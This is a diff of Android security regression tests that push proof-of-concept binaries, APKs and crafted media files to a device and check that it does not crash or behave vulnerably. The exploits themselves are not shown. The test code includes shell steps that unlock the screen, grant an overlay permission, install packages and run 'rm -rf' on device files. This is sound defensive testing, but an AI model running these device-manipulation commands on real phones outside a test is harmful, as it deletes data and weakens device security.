     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9564() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9564", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index b0f19ad..e899b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9593 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116722267
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116722267)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9593() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9593", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index b0f19ad..d6e8fb5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9594 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116791157
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116791157)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9594() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9594", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index afc7a2b..e6863ac 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -34,7 +34,7 @@
     public void testPocCVE_2019_2014() throws Exception {
         pocPusher.only64();
         String binaryName = "CVE-2019-2014";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
new file mode 100644
index 0000000..df6c6f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2027 extends SecurityTestCase {
+
+    /**
+     * b/119120561
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 119120561)
+    @Test
+    public void testPocCVE_2019_2027() throws Exception {
+        String binaryName = "CVE-2019-2027";
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.config
+                .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
similarity index 62%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index b0f19ad..223e768 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -17,21 +17,25 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2019_2178 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/124462242
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 124462242)
+    @SecurityTest(minPatchLevel = "2019-09")
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2019_2178() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2178", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 6133a87..7c00d84 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -32,6 +32,7 @@
     @AsbSecurityTest(cveBugId = 147310271)
     public void testPocCVE_2020_0072() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
         testConfig.checkCrash = false;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
similarity index 67%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index b0f19ad..bff13f3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -17,21 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_0420 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/162383705
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 162383705)
+    @SecurityTest(minPatchLevel = "2020-10")
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2020_0420() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0420", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
similarity index 85%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
index b0f19ad..43a058c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_29368 extends SecurityTestCase {
 
    /**
      * b/174738029
@@ -31,7 +31,7 @@
      */
     @AsbSecurityTest(cveBugId = 174738029)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2020_29368() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index 80de289..db50504 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -30,7 +30,7 @@
      *
      */
     @Test
-    @AsbSecurityTest(cveBugId = 175451767)
+    @AsbSecurityTest(cveBugId = 175451802)
     public void testPocCVE_2020_29661() throws Exception {
         AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
new file mode 100644
index 0000000..a3b1eae
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0478 extends SecurityTestCase {
+
+    /**
+     * b/169255797
+     */
+    @AsbSecurityTest(cveBugId = 169255797)
+    @SecurityTest(minPatchLevel = "2021-06")
+    @Test
+    public void testPocCVE_2021_0478() throws Exception {
+        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
+        String apkName = "CVE-2021-0478.apk";
+        String appPath = AdbUtils.TMP_PATH + apkName;
+        String packageName = "android.security.cts.cve_2021_0478";
+        String crashPattern = "Canvas: trying to draw too large";
+        ITestDevice device = getDevice();
+
+        try {
+            /* Push the app to /data/local/tmp */
+            pocPusher.appendBitness(false);
+            pocPusher.pushFile(apkName, appPath);
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            AdbUtils.runCommandLine("pm install " + appPath, device);
+
+            /* Start the application */
+            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
+            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            /* Un-install the app after the test */
+            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
+
+            /* Check if System UI has crashed thereby indicating the presence */
+            /* of the vulnerability */
+            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
+            assertNotMatches(crashPattern, logcat);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index 81e559a..e5e6810 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -72,9 +72,18 @@
         installPackage();
 
         //ensure the screen is woken up.
-        //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+        //KEYCODE_WAKEUP wakes up the screen
+        //KEYCODE_MENU called twice unlocks the screen (if locked)
+        //Note: (applies to Android 12 only):
+        //      KEYCODE_MENU called less than twice doesnot unlock the screen
+        //      no matter how many times KEYCODE_HOME is called.
+        //      This is likely a timing issue which has to be investigated further
         getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+        //run the test
         Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
 
         //Check if TEST_FILE_NAME has been copied by "Evil activity"
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
new file mode 100644
index 0000000..34e2ca1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0586 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0586.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+    }
+
+    /**
+     * b/182584940
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 182584940)
+    @Test
+    public void testPocCVE_2021_0586() throws Exception {
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
new file mode 100644
index 0000000..0c8f0a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.RequiresDevice;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import java.util.regex.Pattern;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0591 extends BaseHostJUnit4Test {
+
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0591.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/179386960
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 179386960)
+    @Test
+    public void testPocCVE_2021_0591() throws Exception {
+        ITestDevice device = getDevice();
+
+        assumeTrue("Bluetooth is not available on device",
+                device.hasFeature("android.hardware.bluetooth"));
+
+        /* Clear the logs in the beginning */
+        AdbUtils.runCommandLine("logcat -c", device);
+        installPackage();
+        try {
+            runDeviceTests(TEST_PKG, TEST_CLASS, "testClick");
+        } catch (AssertionError error) {
+            /* runDeviceTests crashed, do not continue */
+            error.printStackTrace();
+            return;
+        }
+        String screenshotServiceErrorReceiver =
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver";
+        String logcat =
+                AdbUtils.runCommandLine("logcat -d BluetoothPermissionActivity *:S", device);
+        Pattern pattern = Pattern.compile(screenshotServiceErrorReceiver, Pattern.MULTILINE);
+        String message = "Device is vulnerable to b/179386960 "
+                + "hence it is possible to sent a broadcast intent to "
+                + screenshotServiceErrorReceiver;
+        assertThat(message, pattern.matcher(logcat).find(), is(false));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index b0f19ad..0562b49 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -18,20 +18,21 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0596 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/181346550
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 181346550)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0596() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0596", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
new file mode 100644
index 0000000..d4bbfb3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0636 extends SecurityTestCase {
+
+    public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
+        /*
+         * Non StageFright test.
+         */
+        AdbUtils.pushResource(
+                "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runCommandLine(
+                "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+                    + mediaFileName, getDevice());
+        Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+        AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 189392423)
+    public void testPocCVE_2021_0636() throws Exception {
+        testPocCVE_2021_0636("cve_2021_0636_1.avi");
+        testPocCVE_2021_0636("cve_2021_0636_2.avi");
+        testPocCVE_2021_0636("cve_2021_0636_3.avi");
+        testPocCVE_2021_0636("cve_2021_0636_4.avi");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
similarity index 73%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
index b0f19ad..4df0f6f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,21 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0684 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/179839665
+     * Vulnerability Behaviour: SIGSEGV in Self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 179839665)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0684() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
new file mode 100644
index 0000000..f5f6b8b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0685 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0685.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 191055353)
+    @Test
+    public void testPocCVE_2021_0685() throws Exception {
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPackageElementPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
similarity index 66%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
index b0f19ad..666f791 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -18,20 +18,21 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0689 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/190188264
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 190188264)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0689() throws Exception {
+        String inputFiles[] = {"cve_2021_0689.png"};
